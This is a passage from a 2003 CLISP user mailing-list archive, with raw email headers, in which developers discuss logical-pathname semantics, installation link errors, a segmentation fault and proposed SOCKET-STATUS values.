, argc=3, argv=0xbffffc24, init=0x804a084 <_init>, fini=0x80e52fc <_fini>, rtld_fini=0x4000a350 <_dl_fini>, stack_end=0xbffffc1c) at ../sysdeps/generic/libc-start.c:78 (gdb) From peter@javamonkey.com Wed Jan 29 06:35:58 2003 Received: from adsl-63-202-21-136.dsl.snfc21.pacbell.net ([63.202.21.136] helo=localhost.javamonkey.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18dtJm-0001kN-00 for ; Wed, 29 Jan 2003 06:35:58 -0800 Received: by localhost.javamonkey.com (Postfix, from userid 500) id 7586F4003; Wed, 29 Jan 2003 06:35:01 -0800 (PST) To: Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] logical-pathname References: <20030129042732.5E94F238AE@thalassa.informatimago.com> From: Peter Seibel In-Reply-To: <20030129042732.5E94F238AE@thalassa.informatimago.com> Message-ID: Lines: 26 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 29 06:36:32 2003 X-Original-Date: 29 Jan 2003 06:35:01 -0800 Pascal Bourguignon writes: > Note also about pathname that it's specified over a pathspec, ie a > pathname designator, (stream or namestring), not over pathname. So: > (pathname (pathname "/tmp")) should probably raise an error instead of > returning (pathname "/tmp")... Why isn't a pathname a pathname designator: Hmmm. My CLHS glossary says: pathname designator n. a designator for a pathname; that is, an object that denotes a pathname and that is one of: a pathname namestring (denoting the corresponding pathname), a stream associated with a file (denoting the pathname used to open the file; this may be, but is not required to be, the actual name of the file), or a pathname (denoting itself). See Section 21.1.1.1.2 (Open ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ and Closed Streams). -Peter -- Peter Seibel peter@javamonkey.com From sds@gnu.org Wed Jan 29 07:11:34 2003 Received: from pop015pub.verizon.net ([206.46.170.172] helo=pop015.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18dtsD-0000Fi-00 for ; Wed, 29 Jan 2003 07:11:33 -0800 Received: from loiso.podval.org ([151.203.48.207]) by pop015.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030129151127.NJQD21001.pop015.verizon.net@loiso.podval.org>; Wed, 29 Jan 2003 09:11:27 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h0TFDNSM028691; Wed, 29 Jan 2003 10:13:23 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h0TFDMGv028687; Wed, 29 Jan 2003 10:13:22 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Yuri Kostylev Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] unable to install clisp References: <200301291035.OAA15312@yk.udmts.elektra.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200301291035.OAA15312@yk.udmts.elektra.ru> Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-5 Content-Transfer-Encoding: quoted-printable X-Authentication-Info: Submitted using SMTP AUTH at pop015.verizon.net from [151.203.48.207] at Wed, 29 Jan 2003 09:11:26 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 29 07:12:03 2003 X-Original-Date: 29 Jan 2003 10:13:21 -0500 > * In message <200301291035.OAA15312@yk.udmts.elektra.ru> > * On the subject of "[clisp-list] unable to install clisp" > * Sent on Wed, 29 Jan 2003 14:35:24 +0400 (SAMT) > * Honorable Yuri Kostylev writes: > > clisp-2.30-i686-unk~-2.4.18-10.tar.gz > (clisp 2.30 (2002-09-15)) >=20 > $ make > cc -O base/modules.o base/lisp.a base/libcharset.a base/libavcall.a bas= e/libcallback.a -lreadline -lncurses -ldl /usr/lib/libsigsegv.a -lc -lm -o = base/lisp.run > base/lisp.a(lisp.o): In function `lisp_completion_more': > lisp.o(.text+0x33fa5): undefined reference to `rl_filename_completion_fun= ction' > collect2: ld returned 1 exit status > make: *** [base/lisp.run] Error 1 >=20 > =C7=E2=DE =D4=D5=DB=D0=E2=EC? =BA=E2=DE =D2=D8=DD=DE=D2=D0=E2? > What have i to do? either upgrade your readline library or get the sources and build from them. --=20 Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Bill Gates is great, as long as `bill' is a verb. From sds@gnu.org Wed Jan 29 07:14:13 2003 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18dtun-0000r7-00 for ; Wed, 29 Jan 2003 07:14:13 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out002.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030129151406.ULQV7656.out002.verizon.net@loiso.podval.org>; Wed, 29 Jan 2003 09:14:06 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h0TFG2SM028704; Wed, 29 Jan 2003 10:16:02 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h0TFG2iJ028700; Wed, 29 Jan 2003 10:16:02 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Yuri Kostylev Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] sigsegv? References: <200301291052.OAA23830@yk.udmts.elektra.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200301291052.OAA23830@yk.udmts.elektra.ru> Message-ID: Lines: 33 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out002.verizon.net from [151.203.48.207] at Wed, 29 Jan 2003 09:14:06 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 29 07:15:02 2003 X-Original-Date: 29 Jan 2003 10:16:02 -0500 > * In message <200301291052.OAA23830@yk.udmts.elektra.ru> > * On the subject of "[clisp-list] sigsegv?" > * Sent on Wed, 29 Jan 2003 14:52:20 +0400 (SAMT) > * Honorable Yuri Kostylev writes: > > $ base/lisp.run -M base/lispinit.mem > > > [1]> (without-package-lock () > (compile-file "src/config.lisp") > (load "src/config.fas")) > > *** - handle_fault error2 ! address = 0x88000013 not in [0x68054B98,0x6807E000) > ! > SIGSEGV cannot be cured. Fault address = 0x88000013. > Segmentation fault (core dumped) please rebuild like this: $ ./configure --with-debug --build build-g $ cd build-g $ gdb and then try your code again. thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux A professor is someone who talks in someone else's sleep. From sds@gnu.org Wed Jan 29 07:18:41 2003 Received: from out001pub.verizon.net ([206.46.170.140] helo=out001.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18dtz4-0001KK-00 for ; Wed, 29 Jan 2003 07:18:38 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out001.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030129151831.CPH23484.out001.verizon.net@loiso.podval.org>; Wed, 29 Jan 2003 09:18:31 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h0TFKRSM028716; Wed, 29 Jan 2003 10:20:27 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h0TFKC2w028712; Wed, 29 Jan 2003 10:20:12 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] logical-pathname References: <20030129042732.5E94F238AE@thalassa.informatimago.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030129042732.5E94F238AE@thalassa.informatimago.com> Message-ID: Lines: 58 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out001.verizon.net from [151.203.48.207] at Wed, 29 Jan 2003 09:18:31 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 29 07:19:08 2003 X-Original-Date: 29 Jan 2003 10:20:12 -0500 > * In message <20030129042732.5E94F238AE@thalassa.informatimago.com> > * On the subject of "[clisp-list] logical-pathname" > * Sent on Wed, 29 Jan 2003 05:27:32 +0100 (CET) > * Honorable Pascal Bourguignon writes: > > [38]> (namestring (pathname "/home/pascal/tmp/test/*")) > "/home/pascal/tmp/test/*" > > OK. > > [39]> (namestring (logical-pathname "/home/pascal/tmp/test/*")) > ";HOME;PASCAL;TMP;TEST;*" > > Oops ! A relative path! what did you expect?! when forced to consider a path as logical, CLISP treats #\/ as #\;. otherwise it would have to signal an error because #\/ is not a valid logical pathname char. > [40]> (logical-pathname "/home/pascal/tmp/test/*") > #S(LOGICAL-PATHNAME :HOST NIL :DEVICE NIL > :DIRECTORY (:RELATIVE "HOME" "PASCAL" "TMP" "TEST") :NAME :WILD :TYPE NIL > :VERSION NIL) yep. > Since the namestring started with '/', I expected an :ABSOLUTE logical > path name. why? ";foo;bar" is relative. > As it is, the :RELATIVE logical-pathname can't be used, because > DIRECTORY really works relatively to the current directory instead of > relatively to the root: > > [41]> (directory (logical-pathname "/home/pascal/tmp/test/*")) > NIL > > [42]> (directory (pathname "/home/pascal/tmp/test/*")) > (#P"/home/pascal/tmp/test/a" > #P"/home/pascal/tmp/test/b" > #P"/home/pascal/tmp/test/c") correct. > The paths in Common-Lisp is already complicated enough. It would be > nice if the implementation showed a little more regularity there. just do not ask your implementation to treat physical pathnames as logical ones and vv. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Man has 2 states: hungry/angry and sate/sleepy. Catch him in transition. From sds@gnu.org Wed Jan 29 07:27:09 2003 Received: from pop016pub.verizon.net ([206.46.170.173] helo=pop016.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18du7J-0003MC-00 for ; Wed, 29 Jan 2003 07:27:09 -0800 Received: from loiso.podval.org ([151.203.48.207]) by pop016.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030129152659.DUNB20431.pop016.verizon.net@loiso.podval.org>; Wed, 29 Jan 2003 09:26:59 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h0TFSuSM028761; Wed, 29 Jan 2003 10:28:56 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h0TFStsb028757; Wed, 29 Jan 2003 10:28:55 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: don-sourceforge@isis.cs3-inc.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] proposed modifications to SOCKET-STATUS References: <15924.20395.270701.517255@isis.cs3-inc.com> <15927.26822.517813.724780@isis.cs3-inc.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15927.26822.517813.724780@isis.cs3-inc.com> Message-ID: Lines: 68 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at pop016.verizon.net from [151.203.48.207] at Wed, 29 Jan 2003 09:26:59 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 29 07:28:02 2003 X-Original-Date: 29 Jan 2003 10:28:55 -0500 > * In message <15927.26822.517813.724780@isis.cs3-inc.com> > * On the subject of "Re: [clisp-list] proposed modifications to SOCKET-STATUS" > * Sent on Tue, 28 Jan 2003 21:38:14 -0800 > * Honorable don-sourceforge@isis.cs3-inc.com (Don Cohen) writes: > > > > Could you please tell us what those new values mean? > > > > :ERROR: next i/o will generate an error > > :INPUT: only input is possible (or requested) > > :OUTPUT: only output is possible (or requested) > > :IO: both input and output are possible > > :EOF: input --> EOF, output impossible or not requested > > :APPEND: output possible, input --> EOF > > :WAIT: both output & input --> hang (or not requested) > > What's this requested stuff? see , specifically the table "Possible values of socket-stream-or-list". > Under what circumstance would io cause an error? see select(2), "exceptfds". > So, if I understand, input can do three things: > - wait > - eof > - return immediately with "real" input > whereas output can only do 2: > - wait > - return immediately it can also signal an error if the other side has closed the connection, but I don't know how to check for this. > You call these > > input > wait real eof > output +------------------------- > return| output io append > wait | wait input eof > > It seems to me that you might want another row for output when > the output direction has been closed. In that case I guess output > would give an error? yes, almost: [7]> (format o "foo") NIL [8]> (format o "foo~%") [stream.d:13629] *** - UNIX error 32 (EPIPE): Broken pipe, child process terminated or socket closed 1. Break [9]> i.e., the error is only after a NL. how do I check for this? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Life is like a diaper -- short and loaded. From marcoxa@cs.nyu.edu Wed Jan 29 09:36:14 2003 Received: from cat.nyu.edu ([128.122.47.28]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 18dw88-0003B7-00 for ; Wed, 29 Jan 2003 09:36:08 -0800 Received: from cs.nyu.edu (BIOINFORMATICS.CIMS.NYU.EDU [216.165.110.10]) by cat.nyu.edu (8.12.5/8.12.5) with ESMTP id h0THZx1Y006558 (version=TLSv1/SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 29 Jan 2003 12:36:00 -0500 (EST) Content-Type: text/plain; charset=US-ASCII; format=flowed Resent-Date: Wed, 29 Jan 2003 12:35:54 -0500 Content-Transfer-Encoding: 7bit Resent-Message-Id: <48AFA4AE-33A3-11D7-9CED-000393A70920@cs.nyu.edu> Resent-To: clisp-list@lists.sourceforge.net Mime-Version: 1.0 (Apple Message framework v551) Subject: Re: [clisp-list] logical-pathname From: Marco Antoniotti To: Message-Id: <1E77E5D8-33B0-11D7-ADAB-000393A70920@cs.nyu.edu> Resent-From: Marco Antoniotti X-Mailer: Apple Mail (2.551) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 29 09:37:02 2003 X-Original-Date: Wed, 29 Jan 2003 11:04:02 -0500 On Tuesday, Jan 28, 2003, at 23:27 America/New_York, Pascal Bourguignon wrote: > Hello, > > [37]> (lisp-implementation-version) > "2.30 (released 2002-09-15) (built 3251450717) (memory 3251450977)" > > > I'm wondering if there is not a problem with logical-pathname on unix: > > [38]> (namestring (pathname "/home/pascal/tmp/test/*")) > "/home/pascal/tmp/test/*" > > OK. > > The following discussion is moot since "/home/pascal/tmp/test/*" is not a logical pathname designator. This is a bug in CLisp, as it should signal an error, as per CLHS definition of the function LOGICAL-PATHNAME. You may argue that the CLHS is bogus here, but that is a totally different issue. Cheers Marco > [39]> (namestring (logical-pathname "/home/pascal/tmp/test/*")) > ";HOME;PASCAL;TMP;TEST;*" > > Oops ! A relative path! > > > [40]> (logical-pathname "/home/pascal/tmp/test/*") > #S(LOGICAL-PATHNAME :HOST NIL :DEVICE NIL > :DIRECTORY (:RELATIVE "HOME" "PASCAL" "TMP" "TEST") :NAME :WILD > :TYPE NIL > :VERSION NIL) > > Since the namestring started with '/', I expected an :ABSOLUTE logical > path name. > > As it is, the :RELATIVE logical-pathname can't be used, because > DIRECTORY really works relatively to the current directory instead of > relatively to the root: > > [41]> (directory (logical-pathname "/home/pascal/tmp/test/*")) > NIL > > [42]> (directory (pathname "/home/pascal/tmp/test/*")) > (#P"/home/pascal/tmp/test/a" > #P"/home/pascal/tmp/test/b" > #P"/home/pascal/tmp/test/c") > > > > Note also the dot appended to the pathname when translating a > logical-path name: > > (translate-logical-pathname "/home/pascal/tmp/test/*") > #P"home/pascal/tmp/test/*." > > could prevent DIRECTORY to work too even if the logical path built was > :ABSOLUTE. > > [150]> (directory #P"/home/pascal/tmp/test/*.") > NIL > [151]> (directory #P"/home/pascal/tmp/test/*") > (#P"/home/pascal/tmp/test/a" > #P"/home/pascal/tmp/test/b" > #P"/home/pascal/tmp/test/c") > > > > The paths in Common-Lisp is already complicated enough. It would be > nice if the implementation showed a little more regularity there. > > > > > > > > > If I've understood correctly the section 19.4 of CLHS and the relative > glossary entries, we have the following "class diagram" anontated with > transitions denoting the functions available to manipulate the paths. > > Please correct me if I've misunderstood a specification here. > > > (Perhaps, pathname and physical-pathname are identical?) > > > parse-namestring > +--+ > | | > V | > +------------------------+ > | pathname > |---------------------------+ > +------------------------+ > | > make-pathname | + device | > | > *---------------->| + directory | > | > | + host > |<----------------------+ | > | + name | > | | > | + type | > | | > | + version | > | | > +------------------------+ > | | > | > | | > / \ > | | > logical-pathname /___\ > | | > +--+ | > | | > | | +-----------+-------------+ > | | > V | | | > | | > +------------------+ +-------------------+ > | | > +------->| logical-pathname | | physical-pathname | > | | > | +------------------+ +-------------------+ > | | > | ^ > | | > | translate-logical-pathname | > | | > | +--------------------+ > | | > | | > | | > | | > | | > |logical-pathname | > | | > | | parse-namestring > | | > | +---------------------+ pathname > | | > +------------| pathname-designator > |------------------------------+ | > +---------------------+ > | > | > | > / \ > | > /___\ enough-namestring > | > | host-namestring > | > +-----------+----------+ > directory-namestring | > | | file-namestring > | > +--------+ +------------+ namestring > | > | stream | | namestring > |<---------------------------+ > +--------+ +------------+ > | > / \ > /___\ > | > +------------+---------------+ > | | > +---------------------+ +-----------------------+ > | string-standardized | | string-implementation | > +---------------------+ +-----------------------+ > aka logical-pathname-namestring > > > > Standardized string and logical pathname namestring seem to be the > same thing. Then pathname should probably build a logical pathname > when given a logical pathname namestring contrarily to what is > currently implemented. > > > > Note also about pathname that it's specified over a pathspec, ie a > pathname designator, (stream or namestring), not over pathname. So: > (pathname (pathname "/tmp")) should probably raise an error instead of > returning (pathname "/tmp")... > > > -- > __Pascal_Bourguignon__ http://www.informatimago.com/ > ---------------------------------------------------------------------- > There is a fault in reality. Do not adjust your minds. -- Salman > Rushdie > > > > ------------------------------------------------------- > This SF.NET email is sponsored by: > SourceForge Enterprise Edition + IBM + LinuxWorld = Something 2 See! > http://www.vasoftware.com > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > -- Marco Antoniotti NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. -- Marco Antoniotti NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From pascal@thalassa.informatimago.com Wed Jan 29 10:20:37 2003 Received: from thalassa.informatimago.com ([212.87.205.57]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18dwop-0003kA-00 for ; Wed, 29 Jan 2003 10:20:17 -0800 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id 2547824ADD; Wed, 29 Jan 2003 19:19:31 +0100 (CET) From: Pascal Bourguignon Message-ID: <15928.6963.113387.620497@thalassa.informatimago.com> To: Peter Seibel Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] logical-pathname In-Reply-To: References: <20030129042732.5E94F238AE@thalassa.informatimago.com> X-Mailer: VM 7.07 under Emacs 21.2.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 29 10:21:04 2003 X-Original-Date: Wed, 29 Jan 2003 19:19:31 +0100 Peter Seibel writes: > Pascal Bourguignon writes: > > > > Note also about pathname that it's specified over a pathspec, ie a > > pathname designator, (stream or namestring), not over pathname. So: > > (pathname (pathname "/tmp")) should probably raise an error instead of > > returning (pathname "/tmp")... > > Why isn't a pathname a pathname designator: > > Hmmm. My CLHS glossary says: > > pathname designator n. a designator for a pathname; that is, an > object that denotes a pathname and that is one of: a pathname > namestring (denoting the corresponding pathname), a stream > associated with a file (denoting the pathname used to open the file; > this may be, but is not required to be, the actual name of the > file), or a pathname (denoting itself). See Section 21.1.1.1.2 (Open > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > and Closed Streams). > > -Peter Yes, I missed this clause. Thank you. So that gives (I'll reorder the boxes later): +-------------------------+ | | | +------------------------+ | | pathname |---------------------------+ | +------------------------+ | | make-pathname | + device | | | *---------------->| + directory | | | | + host |<----------------------+ | | | + name | | | | | + type | | | | | + version | | | | +------------------------+ | | | | | | | / \ | | | /___\ | | | | | | | +-----------+-------------+ | | | | | | | | +------------------+ +-------------------+ | | | +------->| logical-pathname | | physical-pathname | | | | | +------------------+ +-------------------+ | | | | ^ | | | | translate-logical-pathname | | | | | +--------------------+ | | | | | | | | | | | | | |logical-pathname | | | | | | parse-namestring | | | | +---------------------+ pathname | | | +------------| pathname-designator |------------------------------+ | | +---------------------+ | | | | | / \ | | /___\ enough-namestring | | | host-namestring | +---------------+-----------+----------+ directory-namestring | | | file-namestring | +--------+ +------------+ namestring | | stream | | namestring |<---------------------------+ +--------+ +------------+ | / \ /___\ | +------------+---------------+ | | +---------------------+ +-----------------------+ | string-standardized | | string-implementation | +---------------------+ +-----------------------+ aka logical-pathname-namestring -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- There is a fault in reality. Do not adjust your minds. -- Salman Rushdie From sds@gnu.org Wed Jan 29 11:15:47 2003 Received: from out002pub.verizon.net ([206.46.170.141] helo=out002.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18dxgZ-0006vM-00 for ; Wed, 29 Jan 2003 11:15:47 -0800 Received: from loiso.podval.org ([151.203.48.207]) by out002.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20030129191539.WIGD7656.out002.verizon.net@loiso.podval.org> for ; Wed, 29 Jan 2003 13:15:39 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h0TJHbSM012271 for ; Wed, 29 Jan 2003 14:17:37 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h0TJHbab012267; Wed, 29 Jan 2003 14:17:37 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Subject: Re: [clisp-list] logical-pathname References: <20030129042732.5E94F238AE@thalassa.informatimago.com> <15928.8886.537897.980182@thalassa.informatimago.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15928.8886.537897.980182@thalassa.informatimago.com> Message-ID: Lines: 41 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out002.verizon.net from [151.203.48.207] at Wed, 29 Jan 2003 13:15:38 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 29 11:16:04 2003 X-Original-Date: 29 Jan 2003 14:17:37 -0500 > * In message <15928.8886.537897.980182@thalassa.informatimago.com> > * On the subject of "Re: [clisp-list] logical-pathname" > * Sent on Wed, 29 Jan 2003 19:51:34 +0100 > * Honorable Pascal Bourguignon writes: > > Sam Steingold writes: > > when forced to consider a path as logical, CLISP treats #\/ as #\;. > > otherwise it would have to signal an error because #\/ is not a valid > > logical pathname char. > > I'm not alone expecting an absolute path here. The CLISP > implementation notes too: > > : / denotes absolute pathnames <---------------- in physical pathnames. > It seems obvious to me that applying directory to the same namestring > converted either to pathname or to logical-pathname should give the > same result. why? logical pathnames are quite different from physical ones. to begin with, "/foo/bar" is __NOT__ a valid logical pathname namestring in ANSI CL. CLISP, as an __EXTENSION__, treats it as if it were ";foo;bar". I am not sure it would be better to treat it as "foo;bar". do the users really think that the latter is better? (note that it is not clear that this extension is useful at all: it is a big mistake of judgment to mix logical and physical pathnames) -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux In every non-trivial program there is at least one bug. From marcoxa@cs.nyu.edu Wed Jan 29 11:31:07 2003 Received: from cat.nyu.edu ([128.122.47.28]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 18dxvJ-0000j6-00 for ; Wed, 29 Jan 2003 11:31:01 -0800 Received: from cs.nyu.edu (BIOINFORMATICS.CIMS.NYU.EDU [216.165.110.10]) by cat.nyu.edu (8.12.5/8.12.5) with ESMTP id h0TJUr1Y009338 (version=TLSv1/SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 29 Jan 2003 14:30:54 -0500 (EST) Subject: Re: [clisp-list] logical-pathname Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v551) From: Marco Antoniotti To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: <2B450DE1-33C0-11D7-80FC-000393A70920@cs.nyu.edu> X-Mailer: Apple Mail (2.551) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Jan 29 11:32:04 2003 X-Original-Date: Wed, 29 Jan 2003 14:30:48 -0500 On Wednesday, Jan 29, 2003, at 14:17 America/New_York, Sam Steingold wrote: >> * In message <15928.8886.537897.980182@thalassa.informatimago.com> >> * On the subject of "Re: [clisp-list] logical-pathname" >> * Sent on Wed, 29 Jan 2003 19:51:34 +0100 >> * Honorable Pascal Bourguignon writes: >> >> Sam Steingold writes: >>> when forced to consider a path as logical, CLISP treats #\/ as #\;. >>> otherwise it would have to signal an error because #\/ is not a valid >>> logical pathname char. >> >> I'm not alone expecting an absolute path here. The CLISP >> implementation notes too: >> >> : / denotes absolute pathnames <---------------- > > in physical pathnames. > >> It seems obvious to me that applying directory to the same namestring >> converted either to pathname or to logical-pathname should give the >> same result. > > why? > > logical pathnames are quite different from physical ones. > to begin with, "/foo/bar" is __NOT__ a valid logical pathname > 